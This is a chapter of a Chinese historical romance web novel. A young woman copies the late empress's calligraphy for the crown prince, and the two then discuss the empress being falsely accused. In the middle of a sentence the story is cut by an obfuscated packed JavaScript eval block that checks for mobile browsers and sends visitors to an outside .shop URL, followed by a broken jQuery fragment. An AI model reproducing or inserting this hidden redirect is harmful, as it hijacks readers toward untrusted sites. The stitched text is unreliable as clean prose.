还没入伏,天已经热得透透的,满院日光亮如金箔,晃得人睁不开眼睛。花花草草都给晒得蔫头巴脑的,只有树上的蝉不要命地叫。
小婢子们全都缩在庑房里,喝冰饮子吃果子,嘁嘁喳喳地闲聊,忽而爆出阵笑声,桃符立在正房竹帘子底下,亮了嗓门咳嗽一声,那边笑声立时掐了。回头望娘子,还两耳清净地埋头抄经。
百龄自打从杨夫人处盘了这副皇后手书的《金刚经》回来,便一头扎进去,昏天暗地,照着上面的字练习模仿,已不知写了多少遍,每日熬到三更才睡,一睁眼又叫研墨。
写字本是件专注的事,抄经更得审慎,照着学又要揣摩,因此每日一旦开始抄写,便对周遭全都失了感触,竟似到了经书上所谓不入六尘、尽得三昧的境界。
但她实际并非什么“专一”之人,虽喜好书道,往往贪新不精,比方上回打永嘉长公主处带回来的飞白帖子,也就专心了两日,才得些趣味就丢到了一旁。杨夫人说她,但从这点,就是个不定性的。
阿翁公孙弘却看得很开,笑呵呵道:“只从此山过,不在此山住。看过此山后,又去看别处。”
是个片叶不沾身的洒脱性子。
这回却跟着了魔似的,连一旁研墨的屠苏都觉得自己如今功德圆满,能把《金刚经》倒背如流。见她搁下笔,知晓这一遍也写完了,屠苏才跟着罢手。
那厢桃符已从冰鉴里取了碗镇得冰冰的乌梅饮过来,递给百龄,百龄接下来啜一口,洋洋得意地抬头问:“写得如何?”
屠苏道“好”,桃符则笑说:“婢子瞧着一模一样了,娘子也该缓缓了。”
百龄犹感不足,说:“皇后这手字妙,你瞧瞧这笔锋,这韵致,我连边边角角都还没摸到,哪敢说一模一样。”但她心头已经知足了。
桃符道:“就算不一模一样,殿下见到,也该知晓娘子下足了功夫。”
百龄脸皮一红,“你就全知道了,怎见得我要送给殿下?”
屠苏虽讷,话却时常一针见血,“娘子送去给殿下,殿下就会回信,指不定就能见到了。”
这二婢是她肚里蛔虫,百龄悻悻不知说什么,便问:“方才她们说什么,笑成那样?”
桃符道:“说行舟呢。”
行舟如今是娘子身旁红人,日子过得清闲,近身的事不用他做,专司出门时赶车及递送消息,也因此常进后院。他生得细皮嫩肉的,模样俏,嘴又甜,每回来满口姊姊妹妹的,哄得一整院子的小婢们都十分高兴。
百龄听得好玩,吩咐说:“那你去找那个聊得最兴致的小丫头,叫她把行舟小阿兄给唤来。”说着取出那枚檀木印,在卷首慎重摁上“月出”二字,复又卷好,找匣子亲手小心翼翼放了进去。
不片刻行舟便来了,百龄听他在门前捏着嗓音谢引路的小婢子,很是装得温润有礼,一进来就换了副猢狲嘴脸,笑嘻嘻,没半点正形。
百龄吩咐他送去东宫,又叮嘱不可张扬,行舟拍了胸脯大言不惭,“娘子放心,奴与樊典内如今很有交情,奴请他吃过葡萄,必定将事办得妥妥的!”
行舟一走,百龄浑身筋骨一散,才发觉腰酸脖僵,手腕发麻。心底又忍不住猜成昭看到后会是什么反应,又乏又亢奋,以致坐立不安。还是桃符哄着她去榻上趟一阵,“没那么快回来,娘子闭着眼眯一会儿,总比干等着好。”
她才抱着竹枕靠榻上阖目小憩,迷迷蒙蒙地,眼前还闪着那卷碧纸金书,忽而又是成昭的脸,噙了笑,柔情款款,问:“这是你写的?”
不知不觉就睡了过去,忽然被人摇醒,桃符兴奋道:“娘子,殿下来了!”
百龄当时就醒了,反应过来,正身问:“在哪里?他怎么来了?”莫非见她写得好,当面夸她来了?胸口甜丝丝像吞了口蜜。
桃符回复说:“行舟说在小门外等着。”屠苏已拧了凉水帕子为她净面。
她不舍他烈日下久候,草草梳头更衣,出了后园小门,果见一片榆桐浓荫下,正停放着当日那驾青幰车。
樊无花拿袖子擦汗,已热得一佛出世二佛升天,见她出来了,低声朝车内递话,成昭拨了帘朝她伸手。
百龄羞答答攀了他手上车,半晌不肯抬头,只等着他开口夸她,果听得成昭问:“这是你写的?”却没有想象中的温柔,心下一惊,急忙看他,见他神色中并无欢喜,冷清清的,反倒似泛着愁。
心感不妙,便敛了笑,忐忑解释说:“皇后曾赐我阿娘一卷手书,我心中喜爱,便想学她的字,的确冒犯了。”
成昭长睫垂出抹阴影,看不清他眼底情绪,静默片刻,才勉强扯出丝笑,“并未冒犯,我并非不高兴你,你写得很好。只是...”
只是什么,他没有说,显得犹豫,忽然道:“我想带你去一趟莲华寺。”
同一车内,百龄这回没生出半分旖旎,因他始终不语,无形中就显得疏离,仿佛自己屋子里摆了那方冰鉴,丝丝冒着冷气。一路静默到了莲华寺,成昭依旧温柔搀她手下车,她才稍微宽下心来。
莲华寺仿舍卫国祇树给孤独园而造,兰陂莲沼,流香吐馥,极林泉形胜;浮屠入云,彩壁生辉,穷伽蓝之美;雕梁画栋,点金描翠,尽皇家富贵。百龄目不暇接,不知不觉已随成昭来至宝殿。
殿前广植稀有白牡丹,不知如何照料,竟在眼下时节开得十分繁茂。殿中灯烛璀璨,满目堂皇,如来金身高坐莲台,面前的长案上供着一套钿钗礼衣,华丽精致,珠光闪耀,望之令人目眩。
成昭站在案前,垂眸看着衣裳。云水蓝的广袖低垂,背影极是凄清。百龄不言不语,半晌才听他黯然道:“我阿娘,如今正蒙不白之冤。”
他从袖中取出掖庭令徐衷蜡书,转身递给百龄,百龄疑惑展开来看,不觉悚然,“怎会如此?”
成昭自看过蜡书密信,才明白过来父亲突如其来的冷漠,这几日昼夜不安,一想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037351|145287||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阿娘受此屈辱,便觉心如刀绞。暗暗命人查探此事,却一无所获。知情者如薛夫人已入棺下葬,而可能知情诸人,也都被纷纷赐死。天子严守消息,不欲“丑闻”外泄,将萧贵妃与徐衷皆随行带往九成宫,尚不知是否有机会重回长安。
成昭茫无头绪,恰此时百龄送来模仿母亲笔迹的《金刚经》,才一展开,不觉潸然泪下,委屈苦涩之意霎时倾泻,反应过来,已停车在她后宅门外。
“我近日查探无果,当日陛下亲审薛夫人,无人知晓,她究竟说了什么。阿娘早已不在,那红叶僧也下落不明,我眼下竟不知如何是好...”
百龄既痛心皇后遭遇,又惊骇薛夫人之死,更怜惜他此刻心境,一颗心霎时揪紧,飞快转动着脑子,道:“我觉得那告密的两名典衣可疑。皇后崩逝十年,若是皇后之物,那丝帕想必也已在宫中存放十年。她们既然看管故衣,怎会现在才发现?若是早已知情,又为何多年不肯吐露,到眼下才送到御前?”
成昭点头,“我也怀疑她们。但她二人俱已绞死,均无审问机会。我查了她们生平往来,并无异常迹象。若说她们诬陷阿娘,何必等此十年,况且阿娘在世,待人无不宽厚,又有谁会记恨于她?”
“若说受人指使,又受何人指使?宫人日常接触,无非是同样的宫人内侍,查其生前有来往者,皆能自证清白言辞有据。余下,只有贵妃与淑妃。贵妃主管宫务,日常诸事大多禀报于她,典衣即便觐见,也属正常,况且贵妃与我阿娘情深,若早知情,想来不会袖手旁观。至于淑妃...”
淑妃对这两名典衣,几有杀身之仇。三月间天子寝疾时,二典衣背后嚼舌冒犯了她,淑妃状告御前,险些将她二人杖杀掖庭狱,幸在贵妃再三劝说下,陛下才收回成命,赦了这二典衣死罪。如此,又岂会听命于淑妃?
百龄听得一筹莫展,所谓关心则乱,她一见成昭脸上悲戚,就脑中乱作一团,勉强定下心神道:“丝帕其实是个引子,并非不能作假。让陛下最终确定的,是薛夫人的证词,薛夫人究竟说了什么,才会陛下如此笃信呢?”
成昭如何不知,他已悄悄命人将薛夫人生前侍奉奴婢带入东宫亲自盘问,但她们一问三不知,除了惶恐就是迷茫。
而他记忆中的薛夫人,对阿娘一片忠心可昭日月,阿娘也对她信任到无话不说的地步。他想起薛夫人每回请旨入宫睹物思人时,看向满目忧伤关怀,仿佛透过他,看到了曾经的阿娘。
他实在想不出,薛夫人会有什么理由诋毁阿娘。
所以,或许...
他不敢细想。
他正要开口向百龄吐露自己接下来的计划,却见她美眸一亮,抓着他袖子就道:“宫中与薛宅都无线索,那么西山寺呢?红叶僧当年不就是在西山寺吗?”
成昭心下一软,终于露出微笑,“嗯,我也正有此意。”他看一眼抓着自己袖子的纤纤玉手,款款问她,“你能陪我去一趟西山寺吗?”